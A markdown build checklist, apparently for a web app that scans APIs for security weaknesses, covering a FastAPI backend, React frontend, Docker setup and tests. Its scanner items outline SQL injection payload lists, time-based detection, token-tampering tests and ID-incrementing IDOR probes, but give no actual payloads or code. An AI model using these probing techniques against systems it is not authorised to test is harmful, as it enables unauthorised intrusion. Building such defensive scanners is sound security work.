- [ ] Create `backend/services/user_service.py` with UserService class
|
||||||
|
- [ ] Add get_user_profile() method to UserService
|
||||||
|
- [ ] Add update_user() method to UserService
|
||||||
|
- [ ] Create `backend/services/scan_service.py` with ScanService class
|
||||||
|
- [ ] Add run_scan() async method to ScanService
|
||||||
|
- [ ] Add get_scan_history() method to ScanService
|
||||||
|
- [ ] Add get_scan_by_id() method to ScanService
|
||||||
|
- [ ] Implement concurrent scanner execution with asyncio.gather() in ScanService
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔍 BACKEND - SECURITY SCANNERS
|
||||||
|
|
||||||
|
### Base Scanner - `backend/scanners/`
|
||||||
|
- [ ] Create `backend/scanners/__init__.py`
|
||||||
|
- [ ] Create `backend/scanners/base_scanner.py` with BaseScanner ABC
|
||||||
|
- [ ] Add abstract scan() method to BaseScanner
|
||||||
|
- [ ] Add _create_result() helper method to BaseScanner
|
||||||
|
|
||||||
|
### Rate Limit Scanner
|
||||||
|
- [ ] Create `backend/scanners/rate_limit_scanner.py` inheriting BaseScanner
|
||||||
|
- [ ] Implement concurrent request sending with httpx AsyncClient
|
||||||
|
- [ ] Add response analysis logic (count 429 status codes)
|
||||||
|
- [ ] Add vulnerability detection logic (no rate limiting = vulnerable)
|
||||||
|
- [ ] Add evidence collection (requests_sent, successful_requests, rate_limited)
|
||||||
|
- [ ] Add recommendations for vulnerable cases
|
||||||
|
- [ ] Add _send_request() helper method
|
||||||
|
|
||||||
|
### Auth Scanner
|
||||||
|
- [ ] Create `backend/scanners/auth_scanner.py` inheriting BaseScanner
|
||||||
|
- [ ] Implement expired token test
|
||||||
|
- [ ] Implement missing token test
|
||||||
|
- [ ] Implement malformed token test
|
||||||
|
- [ ] Implement token location tests (header/query/body)
|
||||||
|
- [ ] Add vulnerability detection logic
|
||||||
|
- [ ] Add evidence collection
|
||||||
|
- [ ] Add recommendations
|
||||||
|
|
||||||
|
### SQLi Scanner
|
||||||
|
- [ ] Create `backend/scanners/sqli_scanner.py` inheriting BaseScanner
|
||||||
|
- [ ] Define common SQLi payloads list
|
||||||
|
- [ ] Implement payload injection in URL params
|
||||||
|
- [ ] Implement payload injection in request body
|
||||||
|
- [ ] Implement error-based detection (look for SQL errors in responses)
|
||||||
|
- [ ] Implement time-based detection (measure response times)
|
||||||
|
- [ ] Add vulnerability detection logic
|
||||||
|
- [ ] Add evidence collection (vulnerable params, payloads that worked)
|
||||||
|
- [ ] Add recommendations
|
||||||
|
|
||||||
|
### IDOR/BOLA Scanner
|
||||||
|
- [ ] Create `backend/scanners/idor_scanner.py` inheriting BaseScanner
|
||||||
|
- [ ] Implement ID parameter detection in URLs
|
||||||
|
- [ ] Implement ID increment/decrement testing
|
||||||
|
- [ ] Implement unauthorized access detection (200 status = vulnerable)
|
||||||
|
- [ ] Add vulnerability detection logic
|
||||||
|
- [ ] Add evidence collection (accessible IDs, endpoints)
|
||||||
|
- [ ] Add recommendations
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🛣️ BACKEND - API ROUTES
|
||||||
|
|
||||||
|
### Routes - `backend/routes/`
|
||||||
|
- [ ] Create `backend/routes/__init__.py`
|
||||||
|
- [ ] Create `backend/routes/auth.py` with APIRouter
|
||||||
|
- [ ] Add POST /api/auth/register endpoint (returns UserResponse)
|
||||||
|
- [ ] Add POST /api/auth/login endpoint (returns TokenResponse)
|
||||||
|
- [ ] Add exception handling for ValueError in auth routes
|
||||||
|
- [ ] Create `backend/routes/users.py` with APIRouter
|
||||||
|
- [ ] Add GET /api/users/profile endpoint (protected)
|
||||||
|
- [ ] Add PUT /api/users/update endpoint (protected)
|
||||||
|
- [ ] Create `backend/routes/scans.py` with APIRouter
|
||||||
|
- [ ] Add POST /api/scans/run endpoint (async, protected)
|
||||||
|
- [ ] Add GET /api/scans/history endpoint (protected)
|
||||||
|
- [ ] Add GET /api/scans/{scan_id} endpoint (protected)
|
||||||
|
|
||||||
|
### Main Application
|
||||||
|
- [ ] Create `backend/main.py` with FastAPI app initialization
|
||||||
|
- [ ] Add CORS middleware with configured origins
|
||||||
|
- [ ] Include auth router with prefix /api/auth
|
||||||
|
- [ ] Include users router with prefix /api/users
|
||||||
|
- [ ] Include scans router with prefix /api/scans
|
||||||
|
- [ ] Add root health check endpoint GET /
|
||||||
|
- [ ] Add database table creation (Base.metadata.create_all)
|
||||||
|
- [ ] Configure docs URL as /api/docs
|
||||||
|
- [ ] Configure redoc URL as /api/redoc
|
||||||
|
- [ ] Add uvicorn run configuration if __name__ == "__main__"
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚛️ FRONTEND - FOUNDATION
|
||||||
|
|
||||||
|
### Vite + React + TypeScript Setup
|
||||||
|
- [ ] Initialize Vite project with React + TypeScript template in /frontend
|
||||||
|
- [ ] Create `frontend/tsconfig.json` with strict mode enabled
|
||||||
|
- [ ] Create `frontend/vite.config.ts` with path aliases (@/)
|
||||||
|
- [ ] Create `frontend/.eslintrc.cjs` with TypeScript rules
|
||||||
|
- [ ] Create `frontend/.prettierrc` with formatting rules
|
||||||
|
- [ ] Create `frontend/.env.example` with VITE_API_URL
|
||||||
|
|
||||||
|
### Package Installation
|
||||||
|
- [ ] Install React and React-DOM
|
||||||
|
- [ ] Install react-router-dom for routing
|
||||||
|
- [ ] Install @tanstack/react-query for server state
|
||||||
|
- [ ] Install zustand for UI state management
|
||||||
|
- [ ] Install axios for HTTP requests
|
||||||
|
- [ ] Install zod for validation
|
||||||
|
- [ ] Install react-hook-form for forms
|
||||||
|
- [ ] Install @hookform/resolvers for Zod integration
|
||||||
|
- [ ] Install @radix-ui/react-tabs for accessible tabs
|
||||||
|
- [ ] Install @radix-ui/react-dialog for modals
|
||||||
|
- [ ] Install recharts for data visualization
|
||||||
|
- [ ] Install react-icons for icons
|
||||||
|
|
||||||
|
### Frontend Structure
|
||||||
|
- [ ] Create `frontend/src/config/` directory
|
||||||
|
- [ ] Create `frontend/src/types/` directory
|
||||||
|
- [ ] Create `frontend/src/hooks/` directory
|
||||||
|
- [ ] Create `frontend/src/lib/` directory
|
||||||
|
- [ ] Create `frontend/src/store/` directory
|
||||||
|
- [ ] Create `frontend/src/services/` directory
|
||||||
|
- [ ] Create `frontend/src/components/` directory
|
||||||
|
- [ ] Create `frontend/src/pages/` directory
|
||||||
|
- [ ] Create `frontend/src/styles/` directory
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚙️ FRONTEND - CONFIGURATION
|
||||||
|
|
||||||
|
### Config Files - `frontend/src/config/`
|
||||||
|
- [ ] Create `frontend/src/config/constants.ts` with APP_CONFIG object
|
||||||
|
- [ ] Add ROUTES constants to constants.ts (LOGIN, REGISTER, DASHBOARD, etc.)
|
||||||
|
- [ ] Add UI_TEXT constants to constants.ts (buttons, headers, labels, placeholders, errors, success)
|
||||||
|
- [ ] Add SCAN_CONFIG constants to constants.ts (max requests, available tests)
|
||||||
|
- [ ] Add SEVERITY_CONFIG to constants.ts (colors, labels, icons)
|
||||||
|
- [ ] Create `frontend/src/config/api.ts` with API_CONFIG object
|
||||||
|
- [ ] Add BASE_URL to api.ts (from env var)
|
||||||
|
- [ ] Add TIMEOUT to api.ts
|
||||||
|
- [ ] Add all ENDPOINTS to api.ts (AUTH, SCANS, USERS)
|
||||||
|
- [ ] Create `frontend/src/config/theme.css` with CSS variables
|
||||||
|
- [ ] Add color variables (primary, status colors, backgrounds, text, borders)
|
||||||
|
- [ ] Add spacing variables to theme.css
|
||||||
|
- [ ] Add border-radius variables to theme.css
|
||||||
|
- [ ] Add shadow variables to theme.css
|
||||||
|
- [ ] Add transition variables to theme.css
|
||||||
|
- [ ] Add typography variables to theme.css
|
||||||
|
- [ ] Add z-index layer variables to theme.css
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📝 FRONTEND - TYPES
|
||||||
|
|
||||||
|
### Type Definitions - `frontend/src/types/`
|
||||||
|
- [ ] Create `frontend/src/types/api.types.ts`
|
||||||
|
- [ ] Add LoginRequest interface to api.types.ts
|
||||||
|
- [ ] Add RegisterRequest interface to api.types.ts
|
||||||
|
- [ ] Add AuthResponse interface to api.types.ts
|
||||||
|
- [ ] Add UserResponse interface to api.types.ts
|
||||||
|
- [ ] Add TestType type union to api.types.ts
|
||||||
|
- [ ] Add ScanStatus type union to api.types.ts
|
||||||
|
- [ ] Add Severity type union to api.types.ts
|
||||||
|
- [ ] Add ScanRequest interface to api.types.ts
|
||||||
|
- [ ] Add ScanResult interface to api.types.ts
|
||||||
|
- [ ] Add ScanResponse interface to api.types.ts
|
||||||
|
- [ ] Create `frontend/src/types/scan.types.ts` for scanner-specific types
|
||||||
|
- [ ] Create `frontend/src/types/auth.types.ts` for auth-specific types
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔌 FRONTEND - API INTEGRATION
|
||||||
|
|
||||||
|
### API Client - `frontend/src/lib/`
|
||||||
|
- [ ] Create `frontend/src/lib/api.ts` with axios instance creation
|
||||||
|
- [ ] Configure axios baseURL from API_CONFIG
|
||||||
|
- [ ] Configure axios timeout
|
||||||
|
- [ ] Add request interceptor to attach JWT token from localStorage
|
||||||
|
- [ ] Add response interceptor to handle 401 errors (logout + redirect)
|
||||||
|
- [ ] Create `frontend/src/lib/queryClient.ts` with TanStack Query setup
|
||||||
|
- [ ] Configure default query options (refetchOnWindowFocus, retry, staleTime)
|
||||||
|
- [ ] Create `frontend/src/lib/utils.ts` for helper functions
|
||||||
|
|
||||||
|
### Services - `frontend/src/services/`
|
||||||
|
- [ ] Create `frontend/src/services/authService.ts`
|
||||||
|
- [ ] Add login() function to authService (store token in localStorage)
|
||||||
|
- [ ] Add register() function to authService
|
||||||
|
- [ ] Add logout() function to authService (remove token + redirect)
|
||||||
|
- [ ] Add getToken() function to authService
|
||||||
|
- [ ] Add isAuthenticated() function to authService
|
||||||
|
- [ ] Create `frontend/src/services/scanService.ts`
|
||||||
|
- [ ] Add runScan() function to scanService
|
||||||
|
- [ ] Add getScanHistory() function to scanService
|
||||||
|
- [ ] Add getScanById() function to scanService
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🪝 FRONTEND - CUSTOM HOOKS
|
||||||
|
|
||||||
|
### Hooks - `frontend/src/hooks/`
|
||||||
|
- [ ] Create `frontend/src/hooks/useAuth.ts`
|
||||||
|
- [ ] Add useLogin() hook with useMutation (invalidates queries on success)
|
||||||
|
- [ ] Add useRegister() hook with useMutation
|
||||||
|
- [ ] Add useLogout() hook
|
||||||
|
- [ ] Add useAuth() hook (returns isAuthenticated + logout)
|
||||||
|
- [ ] Create `frontend/src/hooks/useScan.ts`
|
||||||
|
- [ ] Add useRunScan() hook with useMutation (invalidates scan history)
|
||||||
|
- [ ] Add useScanHistory() hook with useQuery
|
||||||
|
- [ ] Add useScan(scanId) hook with useQuery (enabled when scanId exists)
|
||||||
|
- [ ] Create `frontend/src/hooks/useLocalStorage.ts` for generic localStorage hook
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🏪 FRONTEND - STATE MANAGEMENT
|
||||||
|
|
||||||
|
### Zustand Store - `frontend/src/store/`
|
||||||
|
- [ ] Create `frontend/src/store/uiStore.ts` with Zustand store
|
||||||
|
- [ ] Add theme state (dark/light) to uiStore
|
||||||
|
- [ ] Add setTheme() action to uiStore
|
||||||
|
- [ ] Add toggleTheme() action to uiStore
|
||||||
|
- [ ] Add sidebarOpen state to uiStore
|
||||||
|
- [ ] Add toggleSidebar() action to uiStore
|
||||||
|
- [ ] Add isLoading state to uiStore
|
||||||
|
- [ ] Add setLoading() action to uiStore
|
||||||
|
- [ ] Implement persist middleware for theme and sidebarOpen
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎨 FRONTEND - COMMON COMPONENTS
|
||||||
|
|
||||||
|
### Common Components - `frontend/src/components/common/`
|
||||||
|
- [ ] Create `frontend/src/components/common/Button.tsx`
|
||||||
|
- [ ] Add Button component with variant prop (primary, secondary, danger, success, ghost)
|
||||||
|
- [ ] Add size prop to Button (sm, md, lg)
|
||||||
|
- [ ] Add isLoading prop to Button (shows spinner)
|
||||||
|
- [ ] Create `frontend/src/styles/components/Button.css` with all variants
|
||||||
|
- [ ] Create `frontend/src/components/common/Input.tsx`
|
||||||
|
- [ ] Add Input component with label, error, and all HTML input props
|
||||||
|
- [ ] Create `frontend/src/styles/components/Input.css`
|
||||||
|
- [ ] Create `frontend/src/components/common/Card.tsx`
|
||||||
|
- [ ] Create `frontend/src/styles/components/Card.css`
|
||||||
|
- [ ] Create `frontend/src/components/common/Badge.tsx` for status/severity badges
|
||||||
|
- [ ] Create `frontend/src/styles/components/Badge.css` with severity colors
|
||||||
|
- [ ] Create `frontend/src/components/common/LoadingSpinner.tsx`
|
||||||
|
- [ ] Create `frontend/src/styles/components/LoadingSpinner.css`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🏗️ FRONTEND - LAYOUT COMPONENTS
|
||||||
|
|
||||||
|
### Layout - `frontend/src/components/layout/`
|
||||||
|
- [ ] Create `frontend/src/components/layout/Header.tsx`
|
||||||
|
- [ ] Add logo/app name to Header
|
||||||
|
- [ ] Add user email display to Header
|
||||||
|
- [ ] Add logout button to Header
|
||||||
|
- [ ] Add theme toggle to Header
|
||||||
|
- [ ] Create `frontend/src/styles/components/Header.css`
|
||||||
|
- [ ] Create `frontend/src/components/layout/Sidebar.tsx`
|
||||||
|
- [ ] Add navigation links to Sidebar (Dashboard, Scan, History)
|
||||||
|
- [ ] Add active route highlighting to Sidebar
|
||||||
|
- [ ] Create `frontend/src/styles/components/Sidebar.css`
|
||||||
|
- [ ] Create `frontend/src/components/layout/Layout.tsx` with Outlet
|
||||||
|
- [ ] Combine Header + Sidebar + main content area in Layout
|
||||||
|
- [ ] Create `frontend/src/styles/components/Layout.css`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔐 FRONTEND - AUTH COMPONENTS
|
||||||
|
|
||||||
|
### Auth Components - `frontend/src/components/auth/`
|
||||||
|
- [ ] Create `frontend/src/components/auth/LoginForm.tsx`
|
||||||
|
- [ ] Add React Hook Form setup with Zod validation to LoginForm
|
||||||
|
- [ ] Add email field to LoginForm (validated with EmailStr)
|
||||||
|
- [ ] Add password field to LoginForm (min 8 chars)
|
||||||
|
- [ ] Add submit button with loading state to LoginForm
|
||||||
|
- [ ] Add error message display to LoginForm
|
||||||
|
- [ ] Add "Register" link to LoginForm
|
||||||
|
- [ ] Create `frontend/src/styles/components/LoginForm.css`
|
||||||
|
- [ ] Create `frontend/src/components/auth/RegisterForm.tsx`
|
||||||
|
- [ ] Add React Hook Form setup with Zod validation to RegisterForm
|
||||||
|
- [ ] Add email and password fields to RegisterForm
|
||||||
|
- [ ] Add password confirmation field to RegisterForm
|
||||||
|
- [ ] Add submit button with loading state to RegisterForm
|
||||||
|
- [ ] Add error message display to RegisterForm
|
||||||
|
- [ ] Add "Login" link to RegisterForm
|
||||||
|
- [ ] Create `frontend/src/styles/components/RegisterForm.css`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔬 FRONTEND - SCAN COMPONENTS
|
||||||
|
|
||||||
|
### Scan Components - `frontend/src/components/scan/`
|
||||||
|
- [ ] Create `frontend/src/components/scan/ScanConfigForm.tsx`
|
||||||
|
- [ ] Add React Hook Form setup with Zod validation to ScanConfigForm
|
||||||
|
- [ ] Add target_url field to ScanConfigForm (validated as URL)
|
||||||
|
- [ ] Add auth_token field to ScanConfigForm (optional)
|
||||||
|
- [ ] Add tests_to_run checkboxes to ScanConfigForm (from SCAN_CONFIG)
|
||||||
|
- [ ] Add max_requests number input to ScanConfigForm (min/max from config)
|
||||||
|
- [ ] Add submit button with loading state to ScanConfigForm
|
||||||
|
- [ ] Add form error handling to ScanConfigForm
|
||||||
|
- [ ] Create `frontend/src/styles/components/ScanConfigForm.css`
|
||||||
|
- [ ] Create `frontend/src/components/scan/ScanResults.tsx`
|
||||||
|
- [ ] Add results summary header to ScanResults (total tests, vulnerabilities found)
|
||||||
|
- [ ] Add results grid to ScanResults (maps over results array)
|
||||||
|
- [ ] Add export button to ScanResults
|
||||||
|
- [ ] Create `frontend/src/styles/components/ScanResults.css`
|
||||||
|
- [ ] Create `frontend/src/components/scan/ResultCard.tsx`
|
||||||
|
- [ ] Add test name header to ResultCard
|
||||||
|
- [ ] Add status badge to ResultCard (uses SEVERITY_CONFIG for colors/icons)
|
||||||
|
- [ ] Add details section to ResultCard
|
||||||
|
- [ ] Add evidence section to ResultCard (formatted JSON)
|
||||||
|
- [ ] Add recommendations list to ResultCard
|
||||||
|
- [ ] Add conditional styling for vulnerable vs safe in ResultCard
|
||||||
|
- [ ] Create `frontend/src/styles/components/ResultCard.css`
|
||||||
|
- [ ] Create `frontend/src/components/scan/ScanHistory.tsx`
|
||||||
|
- [ ] Add table/list view to ScanHistory
|
||||||
|
- [ ] Add date, target URL, vulnerabilities count to each history item
|
||||||
|
- [ ] Add "View Details" button to each history item
|
||||||
|
- [ ] Create `frontend/src/styles/components/ScanHistory.css`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📄 FRONTEND - PAGES
|
||||||
|
|
||||||
|
### Pages - `frontend/src/pages/`
|
||||||
|
- [ ] Create `frontend/src/pages/LoginPage.tsx`
|
||||||
|
- [ ] Add LoginForm component to LoginPage
|
||||||
|
- [ ] Add page title and description to LoginPage
|
||||||
|
- [ ] Create `frontend/src/styles/pages/LoginPage.css`
|
||||||
|
- [ ] Create `frontend/src/pages/RegisterPage.tsx`
|
||||||
|
- [ ] Add RegisterForm component to RegisterPage
|
||||||
|
- [ ] Add page title and description to RegisterPage
|
||||||
|
- [ ] Create `frontend/src/styles/pages/RegisterPage.css`
|
||||||
|
- [ ] Create `frontend/src/pages/DashboardPage.tsx`
|
||||||
|
- [ ] Add welcome message to DashboardPage
|
||||||
|
- [ ] Add quick stats (total scans, recent vulnerabilities) to DashboardPage
|
||||||
|
- [ ] Add recent scan results to DashboardPage
|
||||||
|
- [ ] Create `frontend/src/styles/pages/DashboardPage.css`
|
||||||
|
- [ ] Create `frontend/src/pages/ScanPage.tsx`
|
||||||
|
- [ ] Add ScanConfigForm to ScanPage
|
||||||
|
- [ ] Add ScanResults display to ScanPage (conditional on scan completion)
|
||||||
|
- [ ] Create `frontend/src/styles/pages/ScanPage.css`
|
||||||
|
- [ ] Create `frontend/src/pages/HistoryPage.tsx`
|
||||||
|
- [ ] Add ScanHistory component to HistoryPage
|
||||||
|
- [ ] Add pagination to HistoryPage
|
||||||
|
- [ ] Create `frontend/src/styles/pages/HistoryPage.css`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎯 FRONTEND - APP SETUP
|
||||||
|
|
||||||
|
### Main App Files
|
||||||
|
- [ ] Create `frontend/src/App.tsx` with React Router setup
|
||||||
|
- [ ] Add Routes for /login, /register to App.tsx
|
||||||
|
- [ ] Add ProtectedRoute wrapper component to App.tsx
|
||||||
|
- [ ] Add Routes for /, /scan, /history (all protected) to App.tsx
|
||||||
|
- [ ] Add Layout wrapper for protected routes in App.tsx
|
||||||
|
- [ ] Create `frontend/src/main.tsx` entry point
|
||||||
|
- [ ] Add QueryClientProvider to main.tsx
|
||||||
|
- [ ] Add BrowserRouter to main.tsx
|
||||||
|
- [ ] Import theme.css in main.tsx
|
||||||
|
- [ ] Import index.css in main.tsx
|
||||||
|
- [ ] Create `frontend/src/styles/index.css` with global styles
|
||||||
|
- [ ] Add CSS reset/normalize to index.css
|
||||||
|
- [ ] Add global font families to index.css
|
||||||
|
- [ ] Add global box-sizing to index.css
|
||||||
|
- [ ] Update `frontend/index.html` with app title and meta tags
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🐳 DOCKER CONFIGURATION
|
||||||
|
|
||||||
|
### Docker Files - `/conf/`
|
||||||
|
- [ ] Create `conf/Dockerfile.backend`
|
||||||
|
- [ ] Add Python 3.11-slim base image to Dockerfile.backend
|
||||||
|
- [ ] Add WORKDIR /app to Dockerfile.backend
|
||||||
|
- [ ] Add requirements.txt COPY and pip install to Dockerfile.backend
|
||||||
|
- [ ] Add application code COPY to Dockerfile.backend
|
||||||
|
- [ ] Add EXPOSE 8000 to Dockerfile.backend
|
||||||
|
- [ ] Add CMD with uvicorn to Dockerfile.backend
|
||||||
|
- [ ] Create `conf/Dockerfile.frontend`
|
||||||
|
- [ ] Add Node 20-alpine base image to Dockerfile.frontend
|
||||||
|
- [ ] Add WORKDIR /app to Dockerfile.frontend
|
||||||
|
- [ ] Add package.json COPY and npm ci to Dockerfile.frontend
|
||||||
|
- [ ] Add application code COPY to Dockerfile.frontend
|
||||||
|
- [ ] Add EXPOSE 5173 to Dockerfile.frontend
|
||||||
|
- [ ] Add CMD with npm run dev to Dockerfile.frontend
|
||||||
|
- [ ] Create `conf/nginx.conf`
|
||||||
|
- [ ] Add events block with worker_connections to nginx.conf
|
||||||
|
- [ ] Add upstream backend block to nginx.conf
|
||||||
|
- [ ] Add upstream frontend block to nginx.conf
|
||||||
|
- [ ] Add server block listening on port 80 to nginx.conf
|
||||||
|
- [ ] Add location / proxy to frontend in nginx.conf
|
||||||
|
- [ ] Add location /api proxy to backend in nginx.conf
|
||||||
|
- [ ] Add WebSocket upgrade headers to nginx.conf
|
||||||
|
|
||||||
|
### Docker Compose
|
||||||
|
- [ ] Create `docker-compose.yml` at project root
|
||||||
|
- [ ] Add PostgreSQL 16-alpine service to docker-compose.yml
|
||||||
|
- [ ] Configure postgres environment variables (user, password, db)
|
||||||
|
- [ ] Add postgres port mapping 5432:5432
|
||||||
|
- [ ] Add postgres volume for data persistence
|
||||||
|
- [ ] Add postgres healthcheck
|
||||||
|
- [ ] Add backend service to docker-compose.yml
|
||||||
|
- [ ] Configure backend build context and Dockerfile path
|
||||||
|
- [ ] Add backend environment variables (DATABASE_URL, SECRET_KEY, DEBUG)
|
||||||
|
- [ ] Add backend port mapping 8000:8000
|
||||||
|
- [ ] Add backend depends_on db with health condition
|
||||||
|
- [ ] Add backend volume for hot reload
|
||||||
|
- [ ] Add backend command with --reload flag
|
||||||
|
- [ ] Add frontend service to docker-compose.yml
|
||||||
|
- [ ] Configure frontend build context and Dockerfile path
|
||||||
|
- [ ] Add frontend environment variable VITE_API_URL
|
||||||
|
- [ ] Add frontend port mapping 5173:5173
|
||||||
|
- [ ] Add frontend volumes (code + node_modules)
|
||||||
|
- [ ] Add frontend command with --host flag
|
||||||
|
- [ ] Add nginx service to docker-compose.yml (production profile)
|
||||||
|
- [ ] Configure nginx port 80:80
|
||||||
|
- [ ] Add nginx volume for config file
|
||||||
|
- [ ] Add nginx depends_on backend and frontend
|
||||||
|
- [ ] Define postgres_data volume at bottom of docker-compose.yml
|
||||||
|
|
||||||
|
### Environment Configuration
|
||||||
|
- [ ] Create `.env` file at project root (copy from .env.example)
|
||||||
|
- [ ] Set SECRET_KEY in .env (generate random key)
|
||||||
|
- [ ] Set DEBUG=true for development in .env
|
||||||
|
- [ ] Set DATABASE_URL in .env
|
||||||
|
- [ ] Create `frontend/.env` file
|
||||||
|
- [ ] Set VITE_API_URL=http://localhost:8000 in frontend/.env
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🧪 TESTING
|
||||||
|
|
||||||
|
### Backend Testing
|
||||||
|
- [ ] Create `backend/tests/__init__.py`
|
||||||
|
- [ ] Create `backend/tests/conftest.py` with pytest fixtures
|
||||||
|
- [ ] Add test database fixture to conftest.py
|
||||||
|
- [ ] Add test client fixture to conftest.py
|
||||||
|
- [ ] Create `backend/tests/test_auth_service.py`
|
||||||
|
- [ ] Add test for user registration in test_auth_service.py
|
||||||
|
- [ ] Add test for user login in test_auth_service.py
|
||||||
|
- [ ] Add test for duplicate email in test_auth_service.py
|
||||||
|
- [ ] Create `backend/tests/test_scan_service.py`
|
||||||
|
- [ ] Add test for successful scan in test_scan_service.py
|
||||||
|
- [ ] Add test for concurrent scanner execution in test_scan_service.py
|
||||||
|
- [ ] Create `backend/tests/test_scanners/` directory
|
||||||
|
- [ ] Add test for rate limit scanner
|
||||||
|
- [ ] Add test for auth scanner
|
||||||
|
- [ ] Add test for SQLi scanner
|
||||||
|
- [ ] Add test for IDOR scanner
|
||||||
|
- [ ] Create `backend/tests/test_routes/` directory
|
||||||
|
- [ ] Add test for auth endpoints
|
||||||
|
- [ ] Add test for scan endpoints
|
||||||
|
|
||||||
|
### Frontend Testing
|
||||||
|
- [ ] Install vitest, @testing-library/react, @testing-library/user-event
|
||||||
|
- [ ] Create `frontend/vitest.config.ts`
|
||||||
|
- [ ] Create `frontend/src/tests/setup.ts` with testing setup
|
||||||
|
- [ ] Create `frontend/src/components/__tests__/` directory
|
||||||
|
- [ ] Add Button component tests
|
||||||
|
- [ ] Add Input component tests
|
||||||
|
- [ ] Add LoginForm tests
|
||||||
|
- [ ] Add ScanConfigForm tests
|
||||||
|
- [ ] Create `frontend/src/hooks/__tests__/` directory
|
||||||
|
- [ ] Add useAuth hook tests
|
||||||
|
- [ ] Add useScan hook tests
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📚 DOCUMENTATION
|
||||||
|
|
||||||
|
### README Files
|
||||||
|
- [ ] Create comprehensive root `README.md`
|
||||||
|
- [ ] Add project overview to README
|
||||||
|
- [ ] Add features list to README
|
||||||
|
- [ ] Add tech stack to README
|
||||||
|
- [ ] Add quick start guide to README
|
||||||
|
- [ ] Add Docker setup instructions to README
|
||||||
|
- [ ] Add local development setup to README
|
||||||
|
- [ ] Add API documentation link to README
|
||||||
|
- [ ] Add contribution guidelines to README
|
||||||
|
- [ ] Add license to README
|
||||||
|
- [ ] Create `backend/README.md` with backend-specific docs
|
||||||
|
- [ ] Create `frontend/README.md` with frontend-specific docs
|
||||||
|
|
||||||
|
### Code Documentation
|
||||||
|
- [ ] Add docstrings to all backend functions/classes
|
||||||
|
- [ ] Add JSDoc comments to all frontend functions/components
|
||||||
|
- [ ] Add inline comments for complex logic in backend
|
||||||
|
- [ ] Add inline comments for complex logic in frontend
|
||||||
|
|
||||||
|
### API Documentation
|
||||||
|
- [ ] Verify FastAPI auto-generated docs at /api/docs work
|
||||||
|
- [ ] Verify ReDoc at /api/redoc works
|
||||||
|
- [ ] Create Postman/Insomnia collection for API testing (optional)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🚀 DEPLOYMENT PREPARATION
|
||||||
|
|
||||||
|
### Production Configuration
|
||||||
|
- [ ] Create production `.env.example` with secure defaults
|
||||||
|
- [ ] Add HTTPS configuration to nginx.conf (commented out)
|
||||||
|
- [ ] Add Gunicorn configuration for backend
|
||||||
|
- [ ] Add production build script to frontend package.json
|
||||||
|
- [ ] Create production docker-compose.prod.yml
|
||||||
|
- [ ] Add health check endpoints to backend
|
||||||
|
- [ ] Add frontend build optimization in vite.config.ts
|
||||||
|
|
||||||
|
### Security Hardening
|
||||||
|
- [ ] Add rate limiting to FastAPI backend
|
||||||
|
- [ ] Add CORS whitelist for production
|
||||||
|
- [ ] Add CSP headers to nginx
|
||||||
|
- [ ] Add security headers to nginx (X-Frame-Options, etc.)
|
||||||
|
- [ ] Add input sanitization to frontend
|
||||||
|
- [ ] Verify JWT expiration works correctly
|
||||||
|
- [ ] Verify password hashing uses bcrypt
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ✅ FINAL CHECKS
|
||||||
|
|
||||||
|
### Code Quality
|
||||||
|
- [ ] Run pylint/ruff on backend code
|
||||||
|
- [ ] Run ESLint on frontend code
|
||||||
|
- [ ] Run Prettier on frontend code
|
||||||
|
- [ ] Format backend code with yapf/black
|
||||||
|
- [ ] Check all type hints in backend
|
||||||
|
- [ ] Check all TypeScript types in frontend
|
||||||
|
- [ ] Verify no `any` types in frontend
|
||||||
|
- [ ] Verify no magic numbers/strings in backend
|
||||||
|
- [ ] Verify no magic numbers/strings in frontend
|
||||||
|
|
||||||
|
### Functionality Testing
|
||||||
|
- [ ] Test user registration flow end-to-end
|
||||||
|
- [ ] Test user login flow end-to-end
|
||||||
|
- [ ] Test JWT token expiration and refresh
|
||||||
|
- [ ] Test rate limit scanner against test API
|
||||||
|
- [ ] Test auth scanner against test API
|
||||||
|
- [ ] Test SQLi scanner against test API
|
||||||
|
- [ ] Test IDOR scanner against test API
|
||||||
|
- [ ] Test scan history retrieval
|
||||||
|
- [ ] Test scan results display
|
||||||
|
- [ ] Test export functionality (if implemented)
|
||||||
|
- [ ] Test responsive design on mobile
|
||||||
|
- [ ] Test responsive design on tablet
|
||||||
|
- [ ] Test responsive design on desktop
|
||||||
|
|
||||||
|
### Performance
|
||||||
|
- [ ] Check backend API response times
|
||||||
|
- [ ] Check frontend initial load time
|
||||||
|
- [ ] Verify lazy loading works for routes
|
||||||
|
- [ ] Verify TanStack Query caching works
|
||||||
|
- [ ] Check database query performance
|
||||||
|
- [ ] Add indexes to database tables if needed
|
||||||
|
|
||||||
|
### Git & GitHub
|
||||||
|
- [ ] Initialize git repository
|
||||||
|
- [ ] Create `.gitignore` (node_modules, .env, __pycache__, etc.)
|
||||||
|
- [ ] Make initial commit
|
||||||
|
- [ ] Create GitHub repository
|
||||||
|
- [ ] Push to GitHub
|
||||||
|
- [ ] Add repository description
|
||||||
|
- [ ] Add repository topics/tags
|
||||||
|
- [ ] Create LICENSE file
|
||||||
|
- [ ] Add screenshots to README
|
||||||
|
- [ ] Add demo GIF/video to README
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📊 PROJECT METRICS
|
||||||
|
|
||||||
|
**Total Tasks:** 390+
|
